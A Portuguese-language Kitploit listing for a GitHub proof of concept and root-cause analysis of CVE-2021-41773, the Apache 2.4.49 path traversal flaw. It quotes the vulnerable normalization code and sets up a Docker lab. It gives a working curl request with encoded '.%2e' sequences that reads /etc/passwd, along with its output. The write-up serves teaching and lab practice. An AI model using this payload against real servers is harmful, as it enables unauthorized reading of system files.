Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2021-41773 — PoC e análise do CVE-2021-41773 | Kitploit
Ferramentas/GitHubGitHub/tr3m0x/cve-2021-41773
Análise de VulnerabilidadesExploração de Aplicações WebSegurança WebTestes de PenetraçãoAprendizado e EducaçãoLabs e Prática
GitHubtr3m0x/cve-2021-41773

CVE-2021-41773

PoC e análise do CVE-2021-41773

Ver Repositório
16há 2 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2021-41773 PoC — Travessia de Caminho no Apache HTTP Server

Visão Geral

CVE-2021-41773 é uma vulnerabilidade de travessia de caminho que afeta o Apache HTTP Server 2.4.49.

A vulnerabilidade permite que um atacante acesse arquivos fora do diretório pretendido em configurações específicas, especialmente quando diretórios são expostos por meio de Alias, ScriptAlias ou outras diretivas semelhantes a Alias.

A vulnerabilidade existe devido ao tratamento inadequado da normalização e canonicalização de caminhos de URL. O Apache realizava verificações de segurança em uma representação de caminho que ainda poderia conter caracteres codificados, permitindo que atacantes contornassem a detecção de travessia usando sequências de pontos codificadas.


Impacto

Um atacante pode criar uma URL maliciosa contendo sequências de travessia codificadas, como:

.%2e

onde:

%2e = .

Portanto:

.%2e

torna-se:

..

após a decodificação.

Se o Apache validar a representação codificada antes de resolvê-la para sua forma canônica, a verificação de travessia pode ser contornada.

A exploração bem-sucedida pode permitir que um atacante leia arquivos arbitrários do sistema de arquivos.

Exemplo de alvo:

/etc/passwd

Código Vulnerável

A lógica vulnerável está localizada em:

server/util.c

dentro de:

ap_normalize_path()

Código vulnerável do Apache 2.4.49:

if (path[l] == '.') {
    /* Remove /./ segments */
    if (IS_SLASH_OR_NUL(path[l + 1])) {
        l++;
        if (path[l]) {
            l++;
        }
        continue;
    }

    /* Remove /xx/../ segments */
    if (path[l + 1] == '.' && IS_SLASH_OR_NUL(path[l + 2])) {
        /* Wind w back to remove the previous segment */
        if (w > 1) {
            do {
                w--;
            } while (w && !IS_SLASH(path[w - 1]));
        }
        else {
            /* Already at root, ignore and return a failure
             * if asked to.
             */
            if (flags & AP_NORMALIZE_NOT_ABOVE_ROOT) {
                ret = 0;
            }
        }

        /* Move l forward to the next segment */
        l += 2;
        if (path[l]) {
            l++;
        }
        continue;
    }
}

Análise da Causa Raiz

O código vulnerável tenta identificar padrões de travessia de diretório:

../

verificando pontos consecutivos:

path[l + 1] == '.'

No entanto, um atacante pode fornecer uma sequência de travessia codificada:

/.%2e/

No momento da verificação de normalização, o Apache processa:

.%2e

em vez de:

..

Porque:

%2e != .

a lógica de detecção de travessia não reconhece a sequência como:

../

O caminho é então interpretado em sua forma decodificada, permitindo que a travessia ocorra.


Fluxo de Processamento Vulnerável

O comportamento vulnerável pode ser representado como:

HTTP Request

      |
      v

Path normalization / traversal validation

      |
      v

URL decoding / canonicalization

      |
      v

Filesystem access

A decisão de segurança é tomada antes que o caminho atinja sua representação canônica final.

Uma abordagem mais segura é:

HTTP Request

      |
      v

URL decoding

      |
      v

Path normalization

      |
      v

Traversal validation

      |
      v

Filesystem access

As verificações de segurança devem ser sempre realizadas sobre a representação final normalizada.


Configuração do Laboratório

Clonar o repositório

git clone https://github.com/tr3m0x/CVE-2021-41773.git
cd CVE-2021-41773

Construir a imagem Docker vulnerável

docker build -t apache-cve-2021-41773 .

Iniciar o servidor Apache vulnerável

docker run -d \
--name apache-vulnerable \
-p 8989:80 \
apache-cve-2021-41773

Exploração

Envie uma solicitação contendo uma sequência de travessia codificada:

curl --path-as-is \
"http://localhost:8989/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd"

Uma exploração bem-sucedida retorna o conteúdo de:

/etc/passwd

Exemplo:

root:x:0:0:root:/root:/bin/bash

Nota sobre Respostas HTTP 403

Uma resposta 403 Forbidden não significa necessariamente que a exploração falhou.

Durante os testes, o Apache pode normalizar com sucesso:

/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd

para:

/etc/passwd

mas negar o acesso devido a permissões do sistema de arquivos ou regras de autorização do Apache.

Exemplo:

client denied by server configuration: /etc/passwd

Isso indica que a travessia ocorreu com sucesso, mas o controle de acesso impediu a divulgação do arquivo.


Conclusão Principal

CVE-2021-41773 é um exemplo clássico de uma vulnerabilidade de canonicalização.

A entrada controlada pelo usuário pode ter múltiplas representações:

.%2e

e:

..

Embora pareçam diferentes, representam o mesmo componente de caminho.

As verificações de segurança devem ser sempre realizadas após a decodificação e a normalização. Validar uma representação codificada ou ambígua pode levar a contornos de segurança.

Baixar ferramenta